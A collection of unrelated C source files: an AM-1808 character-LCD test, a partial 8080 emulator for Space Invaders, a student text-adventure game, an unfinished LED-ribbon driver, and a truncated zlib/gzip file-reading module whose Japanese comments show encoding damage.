//------------------------------------------------------------------------------ // \file test_lcd_char.c // \brief implementation of AM-1808 character lcd test. // //----------------------------------------------------------------------------- #include <string.h> #include "stdio.h" #include "types.h" #include "evmam1808.h" #include "evmam1808_gpio.h" #include "evmam1808_timer.h" #include "evmam1808_i2c.h" #include "evmam1808_led.h" #include "evmam1808_lcd_lidd.h" #include "test_lcd_char.h" //----------------------------------------------------------------------------- // Private Defines and Macros //----------------------------------------------------------------------------- #define CHAR_LCD_DEMO_STR_LEN 50 //----------------------------------------------------------------------------- // Static Variable Declarations //----------------------------------------------------------------------------- //----------------------------------------------------------------------------- // Private Function Prototypes //----------------------------------------------------------------------------- //----------------------------------------------------------------------------- // Public Function Definitions //----------------------------------------------------------------------------- uint32_t TEST_charLcd(void) { uint8_t stringBuffer[CHAR_LCD_DEMO_STR_LEN] = "AM-1808 (LIDD) "; uint8_t count = 0; printf("------------------------------------------------------------\r\n"); printf(" AM-1808 Character LCD Test\r\n\r\n"); printf("Test Description\r\n"); printf("----------------\r\n"); printf("This code scrolls a message across the Character LCD on the\r\n"); printf("UI board. Be sure the potentiometer next between the display\r\n"); printf("and the pushbuttons is set to appropriately control the backlight.\r\n"); printf("------------------------------------------------------------\r\n\r\n"); //------------------------------------- // Make sure the UI baord is attached. //------------------------------------- if (!UTIL_isUIBoardAttached()) { printf("UI Board not attached.\r\n"); return (ERR_NO_UI_BOARD); } //------------------------------------- // initialize the required bsl modules. //------------------------------------- printf("Initialize the Required BSL Modules\r\n"); printf("-----------------------------------\r\n\r\n"); LIDD_init(); LED_init(); //-------------- // execute test. //-------------- printf("\r\nExecute Test\r\n"); printf("------------\r\n\r\n"); LIDD_writeByte(LCD_INST_REG, 0x38); // Function Set USTIMER_delay(DELAY_5_MS); LIDD_writeByte(LCD_INST_REG, 0x0C); // Display ON/OFF Control USTIMER_delay(DELAY_5_MS); LIDD_writeByte(LCD_INST_REG, 0x05); // Entry Mode Set USTIMER_delay(DELAY_5_MS); LIDD_writeByte(LCD_INST_REG, 0x18); // Cursor & Display Shift USTIMER_delay(DELAY_5_MS); printf("--- about to loop forever with LCD running...\r\n"); while (1) { printf("...loop forever with LCD running... %i\r\n", count); LIDD_writeByte(LCD_INST_REG, 0x01); // Clear the screen USTIMER_delay(DELAY_5_MS); LIDD_writeByte(LCD_INST_REG, 0x98); // Set the cursor position (char 24, row 1) USTIMER_delay(DELAY_5_MS); // turn led 0 on LED_turnOn(LED_1); // Write the demo string to the char LCD. LIDD_writeString(stringBuffer, strlen((const char *) stringBuffer), DELAY_1_SEC/2); USTIMER_delay(DELAY_1_SEC/4); // turn led 1 off LED_turnOff(LED_1); USTIMER_delay(DELAY_1_SEC/8); count++; } // currently can't reach this due to the forever loop. // return (rtn); }
C
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <stdint.h> int Disassemble8080Op(unsigned char *codebuffer, int pc); typedef struct ConditionCodes { uint8_t z:1; uint8_t s:1; uint8_t p:1; uint8_t cy:1; uint8_t ac:1; uint8_t pad:3; } ConditionCodes; typedef struct State8080 { uint8_t a; uint8_t b; uint8_t c; uint8_t d; uint8_t e; uint8_t h; uint8_t l; uint16_t sp; uint16_t pc; uint8_t *memory; struct ConditionCodes cc; uint8_t int_enable; } State8080; void UnimplementedInstruction(State8080* state) { // pc will have advanced one, so undo that printf("Error: Unimplemented instruction\n"); exit(1); } int Parity(int x, int size) { int i; int p = 0; x = (x & ((1<<size)-1)); for (i=0; i<size; i++) { if (x & 0x1) p++; x = x >> 1; } return (0 == (p & 0x1)); } void LogicFlagsA(State8080 *state) { state->cc.cy = state->cc.ac = 0; state->cc.z = (state->a == 0); state->cc.s = (0x80 == (state->a & 0x80)); state->cc.p = Parity(state->a, 8); } void ArithFlagsA(State8080 *state, uint16_t res) { state->cc.cy = (res > 0xff); state->cc.z = ((res&0xff) == 0); state->cc.s = (0x80 == (res & 0x80)); state->cc.p = Parity(res&0xff, 8); } int Emulate8080Op(State8080* state) { int cycles = 4; unsigned char *opcode = &state->memory[state->pc]; Disassemble8080Op(state->memory, state->pc); state->pc+=1; switch (*opcode) { case 0x00: break; //NOP case 0x01: //LXI B,word state->c = opcode[1]; state->b = opcode[2]; state->pc += 2; break; case 0x02: UnimplementedInstruction(state); break; case 0x03: UnimplementedInstruction(state); break; case 0x04: UnimplementedInstruction(state); break; case 0x05: //DCR B { uint8_t res = state->b - 1; state->cc.z = (res == 0); state->cc.s = (0x80 == (res & 0x80)); state->cc.p = Parity(res, 8); state->b = res; } break; case 0x06: //MVI B,byte state->b = opcode[1]; state->pc++; break; case 0x07: UnimplementedInstruction(state); break; case 0x08: UnimplementedInstruction(state); break; case 0x09: //DAD B { uint32_t hl = (state->h << 8) | state->l; uint32_t bc = (state->b << 8) | state->c; uint32_t res = hl + bc; state->h = (res & 0xff00) >> 8; state->l = res & 0xff; state->cc.cy = ((res & 0xffff0000) > 0); } break; case 0x0a: UnimplementedInstruction(state); break; case 0x0b: UnimplementedInstruction(state); break; case 0x0c: UnimplementedInstruction(state); break; case 0x0d: //DCR C { uint8_t res = state->c - 1; state->cc.z = (res == 0); state->cc.s = (0x80 == (res & 0x80)); state->cc.p = Parity(res, 8); state->c = res; } break; case 0x0e: //MVI C,byte state->c = opcode[1]; state->pc++; break; case 0x0f: //RRC { uint8_t x = state->a; state->a = ((x & 1) << 7) | (x >> 1); state->cc.cy = (1 == (x&1)); } break; case 0x10: UnimplementedInstruction(state); break; case 0x11: //LXI D,word state->e = opcode[1]; state->d = opcode[2]; state->pc += 2; break; case 0x12: UnimplementedInstruction(state); break; case 0x13: //INX D state->e++; if (state->e == 0) state->d++; break; case 0x14: UnimplementedInstruction(state); break; case 0x15: UnimplementedInstruction(state); break; case 0x16: UnimplementedInstruction(state); break; case 0x17: UnimplementedInstruction(state); break; case 0x18: UnimplementedInstruction(state); break; case 0x19: //DAD D { uint32_t hl = (state->h << 8) | state->l; uint32_t de = (state->d << 8) | state->e; uint32_t res = hl + de; state->h = (res & 0xff00) >> 8; state->l = res & 0xff; state->cc.cy = ((res & 0xffff0000) != 0); } break; case 0x1a: //LDAX D { uint16_t offset=(state->d<<8) | state->e; state->a = state->memory[offset]; } break; case 0x1b: UnimplementedInstruction(state); break; case 0x1c: UnimplementedInstruction(state); break; case 0x1d: UnimplementedInstruction(state); break; case 0x1e: UnimplementedInstruction(state); break; case 0x1f: UnimplementedInstruction(state); break; case 0x20: UnimplementedInstruction(state); break; case 0x21: //LXI H,word state->l = opcode[1]; state->h = opcode[2]; state->pc += 2; break; case 0x22: UnimplementedInstruction(state); break; case 0x23: //INX H state->l++; if (state->l == 0) state->h++; break; case 0x24: UnimplementedInstruction(state); break; case 0x25: UnimplementedInstruction(state); break; case 0x26: //MVI H,byte state->h = opcode[1]; state->pc++; break; case 0x27: UnimplementedInstruction(state); break; case 0x28: UnimplementedInstruction(state); break; case 0x29: //DAD H { uint32_t hl = (state->h << 8) | state->l; uint32_t res = hl + hl; state->h = (res & 0xff00) >> 8; state->l = res & 0xff; state->cc.cy = ((res & 0xffff0000) != 0); } break; case 0x2a: UnimplementedInstruction(state); break; case 0x2b: UnimplementedInstruction(state); break; case 0x2c: UnimplementedInstruction(state); break; case 0x2d: UnimplementedInstruction(state); break; case 0x2e: UnimplementedInstruction(state); break; case 0x2f: UnimplementedInstruction(state); break; case 0x30: UnimplementedInstruction(state); break; case 0x31: //LXI SP,word state->sp = (opcode[2]<<8) | opcode[1]; state->pc += 2; break; case 0x32: //STA (word) { uint16_t offset = (opcode[2]<<8) | (opcode[1]); state->memory[offset] = state->a; state->pc += 2; } break; case 0x33: UnimplementedInstruction(state); break; case 0x34: UnimplementedInstruction(state); break; case 0x35: UnimplementedInstruction(state); break; case 0x36: //MVI M,byte { //AC set if lower nibble of h was zero prior to dec uint16_t offset = (state->h<<8) | state->l; state->memory[offset] = opcode[1]; state->pc++; } break; case 0x37: UnimplementedInstruction(state); break; case 0x38: UnimplementedInstruction(state); break; case 0x39: UnimplementedInstruction(state); break; case 0x3a: //LDA (word) { uint16_t offset = (opcode[2]<<8) | (opcode[1]); state->a = state->memory[offset]; state->pc+=2; } break; case 0x3b: UnimplementedInstruction(state); break; case 0x3c: UnimplementedInstruction(state); break; case 0x3d: UnimplementedInstruction(state); break; case 0x3e: //MVI A,byte state->a = opcode[1]; state->pc++; break; case 0x3f: UnimplementedInstruction(state); break; case 0x40: UnimplementedInstruction(state); break; case 0x41: UnimplementedInstruction(state); break; case 0x42: UnimplementedInstruction(state); break; case 0x43: UnimplementedInstruction(state); break; case 0x44: UnimplementedInstruction(state); break; case 0x45: UnimplementedInstruction(state); break; case 0x46: UnimplementedInstruction(state); break; case 0x47: UnimplementedInstruction(state); break; case 0x48: UnimplementedInstruction(state); break; case 0x49: UnimplementedInstruction(state); break; case 0x4a: UnimplementedInstruction(state); break; case 0x4b: UnimplementedInstruction(state); break; case 0x4c: UnimplementedInstruction(state); break; case 0x4d: UnimplementedInstruction(state); break; case 0x4e: UnimplementedInstruction(state); break; case 0x4f: UnimplementedInstruction(state); break; case 0x50: UnimplementedInstruction(state); break; case 0x51: UnimplementedInstruction(state); break; case 0x52: UnimplementedInstruction(state); break; case 0x53: UnimplementedInstruction(state); break; case 0x54: UnimplementedInstruction(state); break; case 0x55: UnimplementedInstruction(state); break; case 0x56: //MOV D,M { uint16_t offset = (state->h<<8) | (state->l); state->d = state->memory[offset]; } break; case 0x57: UnimplementedInstruction(state); break; case 0x58: UnimplementedInstruction(state); break; case 0x59: UnimplementedInstruction(state); break; case 0x5a: UnimplementedInstruction(state); break; case 0x5b: UnimplementedInstruction(state); break; case 0x5c: UnimplementedInstruction(state); break; case 0x5d: UnimplementedInstruction(state); break; case 0x5e: //MOV E,M { uint16_t offset = (state->h<<8) | (state->l); state->e = state->memory[offset]; } break; case 0x5f: UnimplementedInstruction(state); break; case 0x60: UnimplementedInstruction(state); break; case 0x61: UnimplementedInstruction(state); break; case 0x62: UnimplementedInstruction(state); break; case 0x63: UnimplementedInstruction(state); break; case 0x64: UnimplementedInstruction(state); break; case 0x65: UnimplementedInstruction(state); break; case 0x66: //MOV H,M { uint16_t offset = (state->h<<8) | (state->l); state->h = state->memory[offset]; } break; case 0x67: UnimplementedInstruction(state); break; case 0x68: UnimplementedInstruction(state); break; case 0x69: UnimplementedInstruction(state); break; case 0x6a: UnimplementedInstruction(state); break; case 0x6b: UnimplementedInstruction(state); break; case 0x6c: UnimplementedInstruction(state); break; case 0x6d: UnimplementedInstruction(state); break; case 0x6e: UnimplementedInstruction(state); break; case 0x6f: state->l = state->a; break; //MOV L,A case 0x70: UnimplementedInstruction(state); break; case 0x71: UnimplementedInstruction(state); break; case 0x72: UnimplementedInstruction(state); break; case 0x73: UnimplementedInstruction(state); break; case 0x74: UnimplementedInstruction(state); break; case 0x75: UnimplementedInstruction(state); break; case 0x76: UnimplementedInstruction(state); break; case 0x77: //MOV M,A { uint16_t offset = (state->h<<8) | (state->l); state->memory[offset] = state->a; } break; case 0x78: UnimplementedInstruction(state); break; case 0x79: UnimplementedInstruction(state); break; case 0x7a: state->a = state->d; break; //MOV D,A case 0x7b: state->a = state->e; break; //MOV E,A case 0x7c: state->a = state->h; break; //MOV H,A case 0x7d: UnimplementedInstruction(state); break; case 0x7e: //MOV A,M { uint16_t offset = (state->h<<8) | (state->l); state->a = state->memory[offset]; } break; case 0x7f: UnimplementedInstruction(state); break; case 0x80: UnimplementedInstruction(state); break; case 0x81: UnimplementedInstruction(state); break; case 0x82: UnimplementedInstruction(state); break; case 0x83: UnimplementedInstruction(state); break; case 0x84: UnimplementedInstruction(state); break; case 0x85: UnimplementedInstruction(state); break; case 0x86: UnimplementedInstruction(state); break; case 0x87: UnimplementedInstruction(state); break; case 0x88: UnimplementedInstruction(state); break; case 0x89: UnimplementedInstruction(state); break; case 0x8a: UnimplementedInstruction(state); break; case 0x8b: UnimplementedInstruction(state); break; case 0x8c: UnimplementedInstruction(state); break; case 0x8d: UnimplementedInstruction(state); break; case 0x8e: UnimplementedInstruction(state); break; case 0x8f: UnimplementedInstruction(state); break; case 0x90: UnimplementedInstruction(state); break; case 0x91: UnimplementedInstruction(state); break; case 0x92: UnimplementedInstruction(state); break; case 0x93: UnimplementedInstruction(state); break; case 0x94: UnimplementedInstruction(state); break; case 0x95: UnimplementedInstruction(state); break; case 0x96: UnimplementedInstruction(state); break; case 0x97: UnimplementedInstruction(state); break; case 0x98: UnimplementedInstruction(state); break; case 0x99: UnimplementedInstruction(state); break; case 0x9a: UnimplementedInstruction(state); break; case 0x9b: UnimplementedInstruction(state); break; case 0x9c: UnimplementedInstruction(state); break; case 0x9d: UnimplementedInstruction(state); break; case 0x9e: UnimplementedInstruction(state); break; case 0x9f: UnimplementedInstruction(state); break; case 0xa0: UnimplementedInstruction(state); break; case 0xa1: UnimplementedInstruction(state); break; case 0xa2: UnimplementedInstruction(state); break; case 0xa3: UnimplementedInstruction(state); break; case 0xa4: UnimplementedInstruction(state); break; case 0xa5: UnimplementedInstruction(state); break; case 0xa6: UnimplementedInstruction(state); break; case 0xa7: state->a = state->a & state->a; LogicFlagsA(state); break; //ANA A case 0xa8: UnimplementedInstruction(state); break; case 0xa9: UnimplementedInstruction(state); break; case 0xaa: UnimplementedInstruction(state); break; case 0xab: UnimplementedInstruction(state); break; case 0xac: UnimplementedInstruction(state); break; case 0xad: UnimplementedInstruction(state); break; case 0xae: UnimplementedInstruction(state); break; case 0xaf: state->a = state->a ^ state->a; LogicFlagsA(state); break; //XRA A case 0xb0: UnimplementedInstruction(state); break; case 0xb1: UnimplementedInstruction(state); break; case 0xb2: UnimplementedInstruction(state); break; case 0xb3: UnimplementedInstruction(state); break; case 0xb4: UnimplementedInstruction(state); break; case 0xb5: UnimplementedInstruction(state); break; case 0xb6: UnimplementedInstruction(state); break; case 0xb7: UnimplementedInstruction(state); break; case 0xb8: UnimplementedInstruction(state); break; case 0xb9: UnimplementedInstruction(state); break; case 0xba: UnimplementedInstruction(state); break; case 0xbb: UnimplementedInstruction(state); break; case 0xbc: UnimplementedInstruction(state); break; case 0xbd: UnimplementedInstruction(state); break; case 0xbe: UnimplementedInstruction(state); break; case 0xbf: UnimplementedInstruction(state); break; case 0xc0: UnimplementedInstruction(state); break; case 0xc1: //POP B { state->c = state->memory[state->sp]; state->b = state->memory[state->sp+1]; state->sp += 2; } break; case 0xc2: //JNZ address if (0 == state->cc.z) state->pc = (opcode[2] << 8) | opcode[1]; else state->pc += 2; break; case 0xc3: //JMP address state->pc = (opcode[2] << 8) | opcode[1]; break; case 0xc4: UnimplementedInstruction(state); break; case 0xc5: //PUSH B { state->memory[state->sp-1] = state->b; state->memory[state->sp-2] = state->c; state->sp = state->sp - 2; } break; case 0xc6: //ADI byte { uint16_t x = (uint16_t) state->a + (uint16_t) opcode[1]; state->cc.z = ((x & 0xff) == 0); state->cc.s = (0x80 == (x & 0x80)); state->cc.p = Parity((x&0xff), 8); state->cc.cy = (x > 0xff); state->a = (uint8_t) x; state->pc++; } break; case 0xc7: UnimplementedInstruction(state); break; case 0xc8: UnimplementedInstruction(state); break; case 0xc9: //RET state->pc = state->memory[state->sp] | (state->memory[state->sp+1] << 8); state->sp += 2; break; case 0xca: UnimplementedInstruction(state); break; case 0xcb: UnimplementedInstruction(state); break; case 0xcc: UnimplementedInstruction(state); break; case 0xcd: //CALL adr { uint16_t ret = state->pc+2; state->memory[state->sp-1] = (ret >> 8) & 0xff; state->memory[state->sp-2] = (ret & 0xff); state->sp = state->sp - 2; state->pc = (opcode[2] << 8) | opcode[1]; } break; case 0xce: UnimplementedInstruction(state); break; case 0xcf: UnimplementedInstruction(state); break; case 0xd0: UnimplementedInstruction(state); break; case 0xd1: //POP D { state->e = state->memory[state->sp]; state->d = state->memory[state->sp+1]; state->sp += 2; } break; case 0xd2: UnimplementedInstruction(state); break; case 0xd3: //Don't know what to do here (yet) state->pc++; break; case 0xd4: UnimplementedInstruction(state); break; case 0xd5: //PUSH D { state->memory[state->sp-1] = state->d; state->memory[state->sp-2] = state->e; state->sp = state->sp - 2; } break; case 0xd6: UnimplementedInstruction(state); break; case 0xd7: UnimplementedInstruction(state); break; case 0xd8: UnimplementedInstruction(state); break; case 0xd9: UnimplementedInstruction(state); break; case 0xda: UnimplementedInstruction(state); break; case 0xdb: UnimplementedInstruction(state); break; case 0xdc: UnimplementedInstruction(state); break; case 0xdd: UnimplementedInstruction(state); break; case 0xde: UnimplementedInstruction(state); break; case 0xdf: UnimplementedInstruction(state); break; case 0xe0: UnimplementedInstruction(state); break; case 0xe1: //POP H { state->l = state->memory[state->sp]; state->h = state->memory[state->sp+1]; state->sp += 2; } break; case 0xe2: UnimplementedInstruction(state); break; case 0xe3: UnimplementedInstruction(state); break; case 0xe4: UnimplementedInstruction(state); break; case 0xe5: //PUSH H { state->memory[state->sp-1] = state->h; state->memory[state->sp-2] = state->l; state->sp = state->sp - 2; } break; case 0xe6: //ANI byte { state->a = state->a & opcode[1]; LogicFlagsA(state); state->pc++; } break; case 0xe7: UnimplementedInstruction(state); break; case 0xe8: UnimplementedInstruction(state); break; case 0xe9: UnimplementedInstruction(state); break; case 0xea: UnimplementedInstruction(state); break; case 0xeb: //XCHG { uint8_t save1 = state->d; uint8_t save2 = state->e; state->d = state->h; state->e = state->l; state->h = save1; state->l = save2; } break; case 0xec: UnimplementedInstruction(state); break; case 0xed: UnimplementedInstruction(state); break; case 0xee: UnimplementedInstruction(state); break; case 0xef: UnimplementedInstruction(state); break; case 0xf0: UnimplementedInstruction(state); break; case 0xf1: //POP PSW { state->a = state->memory[state->sp+1]; uint8_t psw = state->memory[state->sp]; state->cc.z = (0x01 == (psw & 0x01)); state->cc.s = (0x02 == (psw & 0x02)); state->cc.p = (0x04 == (psw & 0x04)); state->cc.cy = (0x05 == (psw & 0x08)); state->cc.ac = (0x10 == (psw & 0x10)); state->sp += 2; } break; case 0xf2: UnimplementedInstruction(state); break; case 0xf3: UnimplementedInstruction(state); break; case 0xf4: UnimplementedInstruction(state); break; case 0xf5: //PUSH PSW { state->memory[state->sp-1] = state->a; uint8_t psw = (state->cc.z | state->cc.s << 1 | state->cc.p << 2 | state->cc.cy << 3 | state->cc.ac << 4 ); state->memory[state->sp-2] = psw; state->sp = state->sp - 2; } break; case 0xf6: UnimplementedInstruction(state); break; case 0xf7: UnimplementedInstruction(state); break; case 0xf8: UnimplementedInstruction(state); break; case 0xf9: UnimplementedInstruction(state); break; case 0xfa: UnimplementedInstruction(state); break; case 0xfb: state->int_enable = 1; break; //EI case 0xfc: UnimplementedInstruction(state); break; case 0xfd: UnimplementedInstruction(state); break; case 0xfe: //CPI byte { uint8_t x = state->a - opcode[1]; state->cc.z = (x == 0); state->cc.s = (0x80 == (x & 0x80)); state->cc.p = Parity(x, 8); state->cc.cy = (state->a < opcode[1]); state->pc++; } break; case 0xff: UnimplementedInstruction(state); break; } // printf("\t"); // printf("%c", state->cc.z ? 'z' : '.'); // printf("%c", state->cc.s ? 's' : '.'); // printf("%c", state->cc.p ? 'p' : '.'); // printf("%c", state->cc.cy ? 'c' : '.'); // printf("%c ", state->cc.ac ? 'a' : '.'); // printf("A $%02x B $%02x C $%02x D $%02x E $%02x H $%02x L $%02x SP %04x\n", state->a, state->b, state->c, // state->d, state->e, state->h, state->l, state->sp); /* print out processor state */ printf("\tC=%d,P=%d,S=%d,Z=%d\n", state->cc.cy, state->cc.p, state->cc.s, state->cc.z); printf("\tA $%02x B $%02x C $%02x D $%02x E $%02x H $%02x L $%02x SP %04x\n", state->a, state->b, state->c, state->d, state->e, state->h, state->l, state->sp); return 0; } void ReadFileIntoMemoryAt(State8080* state, char* filename, uint32_t offset) { FILE *f= fopen(filename, "rb"); if (f==NULL) { printf("error: Couldn't open %s\n", filename); exit(1); } fseek(f, 0L, SEEK_END); int fsize = ftell(f); fseek(f, 0L, SEEK_SET); uint8_t *buffer = &state->memory[offset]; fread(buffer, fsize, 1, f); fclose(f); } State8080* Init8080(void) { State8080* state = calloc(1,sizeof(State8080)); state->memory = malloc(0x10000); //16K return state; } int main(int argc, char** argv) { // add code here to read in ROM and feed it to our emulator int done = 0; int vblankcycles = 0; State8080* state = Init8080(); ReadFileIntoMemoryAt(state, "./ROMs/SpaceInvaders/invaders.h", 0); ReadFileIntoMemoryAt(state, "./ROMs/SpaceInvaders/invaders.g", 0x800); ReadFileIntoMemoryAt(state, "./ROMs/SpaceInvaders/invaders.f", 0x1000); ReadFileIntoMemoryAt(state, "./ROMs/SpaceInvaders/invaders.e", 0x1800); while (done == 0) { done = Emulate8080Op(state); } return 0; }
C
/********************** * * James Sandoval * CS 344 - Project#2 * sandovja.adventure.c * "Adventure Interface" ***********************/ #include <stdio.h> #include <stdlib.h> #include <assert.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> #include <string.h> #include <time.h> char pathTaken[20][50]; int stepCounter = 0; int gameOver = 0; // Structure to maintain room iterations struct room{ char connections[20][50]; int lCounter; }; // function to print time and output to file currenttime.txt void printTime(void){ char buffer[100]; time_t currentTime; struct tm *loctime; FILE *fp; // Get current time from system currentTime = time (NULL); // convert current -> Local loctime = localtime (&currentTime); printf("%s", asctime (loctime)); // write the time to the file specified: fp = fopen("currentTime.txt", "a+"); fprintf(fp, "%s", asctime (loctime)); fclose(fp); } // This function handles the file access portion and returns room data to main struct room gamePlay(char* path){ struct room roomInstance; char roomName[100]; char roomType[100]; char locations[100]; FILE *fd1 = fopen(path, "r"); int lines = 0; char *line2 = NULL; size_t len = 0; ssize_t read = 0; int counter = 0; // Counts the number of links roomInstance.lCounter = 0; // Counts the number of steps made stepCounter++; while ((read = getline(&line2, &len, fd1)) != -1) { ++counter; if(counter == 1){ line2 +=11; strcpy (roomName,line2); printf("\nCURRENT LOCATION: %s", roomName); //counter++; }else if(strncmp(line2, "CONN", 4) == 0){ line2 +=14; strcpy (locations,line2); printf("POSSIBLE CONNECTION: %s", locations); // lcounter actually acccumulates here as it adds connections strcpy(roomInstance.connections[roomInstance.lCounter++], locations); }else{ line2 +=11; strcpy (roomType,line2); if(strncmp(roomType, "END", 3) == 0){ int gameOver = 1; printf("YOU HAVE FOUND THE END ROOM. CONGRATULATIONS!\n"); printf("YOU TOOK %d STEPS. YOUR PATH TO VICTORY WAS: \n", stepCounter); puts("Dungeon"); for(int i=1; i <= stepCounter; i++){ puts(pathTaken[i]); } exit(1); } } } fclose(fd1); return roomInstance; } int main(void){ char originalPath[] = "sandovja.rooms/Dungeon"; char path2[100]= "sandovja.rooms/"; char time[4] = "time"; char comparison[20]; struct room roomInstance; struct stat fileStat; if(stat("sandovja.rooms/", &fileStat) < 0){ return 1; } // Enter the first room roomInstance = gamePlay(originalPath); int match = 0; // Loop to accept user input until ending room is found while(gameOver == 0){ match = 0; // Loop to accept user input until valid input is found while(match == 0 || match == 2){ printf("\nWHERE TO? > "); if (fgets (comparison, 20 , stdin) != NULL ) if(strncmp(comparison, time, 4) == 0){ match = 2; printTime(); } // remove \n characters placed by stdin strtok(comparison, "\n"); strtok(time, "\n"); // loop through all connections found in room returned from gamePlay for(int i = 0; i < roomInstance.lCounter; i++){ strtok(roomInstance.connections[i], "\n"); if(strcmp(comparison, roomInstance.connections[i]) == 0) { printf("Location Found %s\n", roomInstance.connections[i]); match = 1; strcat(path2, comparison); strcpy(pathTaken[stepCounter], comparison); roomInstance = gamePlay(path2); } } // If a valid match is not found...continue if(match == 0){ printf("That\'s not a valid location. try again.\n"); } } } return 0; }
C
#include "light.h" #include "ws2812b.h" #include <stdlib.h> #include <time.h> //srand(time(NULL)); Color set_color(uint8_t red, uint8_t green, uint8_t blue); #define RGB(red, green, blue, luminosity) set_color(red, green, blue) /* Internal functions */ void _play_mode(Ribbon *ribbon); uint8_t _select_random_mode(void); uint8_t _adjust(uint8_t color, int delta); void _set_all_led(Ribbon *ribbon, Color color); /* Definition mode function */ void _flash_function(Ribbon *ribbon); void _strobe_function(Ribbon *ribbon); void _fade_function(Ribbon *ribbon); void _smooth_function(Ribbon *ribbon); Color set_color(uint8_t red, uint8_t green, uint8_t blue){ Color rgbl; rgbl._red = red; rgbl._green = green; rgbl._blue = blue; return rgbl; } uint8_t _select_random_mode(void){ uint8_t slct = rand()%4 +1; return slct; } uint8_t _adjust(uint8_t color, int delta){ int tmp_color = color + delta; if (tmp_color < 0) return 0; else if (tmp_color > 255) return 255; else return (uint8_t) tmp_color; } void _set_all_led(Ribbon *ribbon, Color color){ for (uint8_t i = 0; i < NB_LED; i++){ ribbon->tab_led[i] = RGB(color._red, color._green, color._blue); } } void _print_ribbon(Ribbon *ribbon){ uint8_t i; uint8_t pin; pin = ribbon->pin; for (i=0; i<NB_LED; i++){ write_grb(ribbon->tab_led[i]._green, ribbon->tab_led[i]._red, ribbon->tab_led[i]._blue, pin); } } Ribbon set_ribbon(uint8_t pin){ Ribbon ribbon; ribbon.pin = pin; ribbon.fix_color._red = 255; ribbon.fix_color._green = 255; _set_all_led(&ribbon, RGB(255, 255, 255, 255)); ribbon.mode = _flash_function; //TODO launch thread if (pthread_create(&ribbon.thd, NULL, _play_mode, ribbon) != 0){ } else return ribbon; } Color adjust_color(Color color, int d_red, int d_green, int d_blue){ color._red = _adjust(color._red, d_red); color._green = _adjust(color._green, d_green); color._blue = _adjust(color._blue, d_blue); return color; } void change_color(Ribbon *ribbon, Color color){ //TODO } /* **************************************************** */ /* *************** ANIMATION MANAGEMENT *************** */ void _play_mode(Ribbon *ribbon){ ribbon->mode(ribbon); } void change_mode(Ribbon *ribbon, uint8_t mode){ switch (mode){ case RANDOM : change_mode(ribbon, _select_random_mode()); break; case FLASH : ribbon->mode = _flash_function; break; case STROBE : ribbon->mode = _strobe_function; break; case FADE : ribbon->mode = _fade_function; break; case SMOOTH : ribbon->mode = _smooth_function; break; } } /* **************************************************** */ /* ****************** MODE FUNCTIONS ****************** */ void _flash_function(Ribbon *ribbon){ _set_all_led(ribbon, ribbon->fix_color); //TODO } void _strobe_function(Ribbon *ribbon){ _set_all_led(ribbon, ribbon->fix_color); _print_ribbon(ribbon); //TODO } void _fade_function(Ribbon *ribbon){ //TODO } void _smooth_function(Ribbon *ribbon){ //TODO } /* **************************************************** */
C
/** * @file gzfile.c * * <JA> * @brief zlib 뤤 gzip Ѥ̥եɤ߹ * * ̥եɤ߹ߤбեΥץ󡦥 * ɤ߹ߴؿǤ * * ѥ zlib ̵硤gzip Ѥư̥եŸ * Ԥޤξ硤ʣΥեƱ˳ȤϽޤΤ * դƤ * </JA> * * <EN> * @brief Read Compressed files using gzip or zlib * * These are functions to enable open/close/reading of gzipped files. * * If zlib library and header are not found, the gzip executables will * be used to uncompress the input file. In the latter case, opening * multiple files with these functions is not allowed. * </EN> * * @author Akinobu LEE * @date Thu Feb 17 15:46:00 2005 * * $Revision: 1.4 $ * */ /* * Copyright (c) 1991-2012 Kawahara Lab., Kyoto University * Copyright (c) 2000-2005 Shikano Lab., Nara Institute of Science and Technology * Copyright (c) 2005-2012 Julius project team, Nagoya Institute of Technology * All rights reserved */ #include <sent/stddefs.h> #include <errno.h> #ifdef HAVE_ZLIB /* use built-in zlib functions */ /* current implementatin casts gzFile to FILE... */ #include <zlib.h> /** * Open a file with zlib. * * @param filename [in] file name to open * * @return gzFile pointer if succeed, NULL on failure. */ FILE * fopen_readfile(char *filename) { gzFile gp; gp = gzopen(filename, "rb"); if (gp == NULL) { jlog("Error: gzfile: unable to open %s\n", filename); } return(gp); } /** * Close a file previously opened by fopen_readfile(). * * @param fp [in] gzFile pointer * * @return 0 on success, -1 on error. */ int fclose_readfile(FILE *fp) { if (gzclose((gzFile)fp) < 0) { jlog("Error: gzfile: unable to close file\n"); return -1; } return 0; } /** * Read data from input stream opened by fopen_readfile(). * * @param ptr [out] data buffer * @param size [in] size of unit in bytes * @param n [in] number of unit to be read * @param fp [in] gzFile pointer * * @return number of read units or EOF, -1 on error. */ size_t myfread(void *ptr, size_t size, size_t n, FILE *fp) { int cnt; cnt = gzread((gzFile)fp, (voidp)ptr, (unsigned)size * n); if (cnt < 0) { jlog("Error: gzfile: failed to read %d bytes\n", size * n); return(-1); } return(cnt / size); } /** * Read one character from input stream opened by fopen_readfile(). * * @param fp [in] gzFile pointer * * @return the read character, or -1 on EOF or error. */ int myfgetc(FILE *fp) { int ret; ret = gzgetc((gzFile)fp); return(ret); } /** * Test if reached end of file, for files opened by fopen_readfile(). * * @param fp [in] gzFile pointer. * * @return 1 if already on EOF, 0 if otherwise. */ int myfeof(FILE *fp) { if (gzeof((gzFile)fp) == 0) { return 0; } return 1; } /** * Seek to the first of the file. * * @param fp [in] gzFile pointer. * * @return 0 on success, -1 on error. */ int myfrewind(FILE *fp) { if (gzrewind((gzFile)fp) != 0) return -1; return 0; } #else /* ~HAVE_ZLIB */ /* use external "gzip" via pipe */ /* can read only one file at a time */ static boolean isopen = FALSE; ///< TRUE if a file is now opened static FILE *zcat_pipe = NULL; ///< File pointer of the gzip pipe /** * Guess if the file is compressed or not, only by its filename suffix. * * @param filename [in] file name * * @return TRUE if compressed file, FALSE if not. */ static boolean is_zcatfile(char *filename) { int len; len = strlen(filename); if (strmatch(".Z", &filename[len - 2])) { return TRUE; } else if (strmatch(".z", &filename[len - 2]) || strmatch(".gz", &filename[len - 3])) { return TRUE; } return FALSE; } /** * Open the file using external gzip command. Only one file can open at a time. * * @param filename [in] filename to open * * @return the file pointer, or NULL if open failed. */ FILE * fopen_readfile(char *filename) { FILE *fp; char *cmd; if (isopen) { /* already open */ jlog("Error: gzfile: previously opened file is not closed yet.\n"); return NULL; } if (is_zcatfile(filename)) { /* open compressed file */ cmd = (char *)mymalloc(strlen(ZCAT) + strlen(filename) + 2); strcpy(cmd, 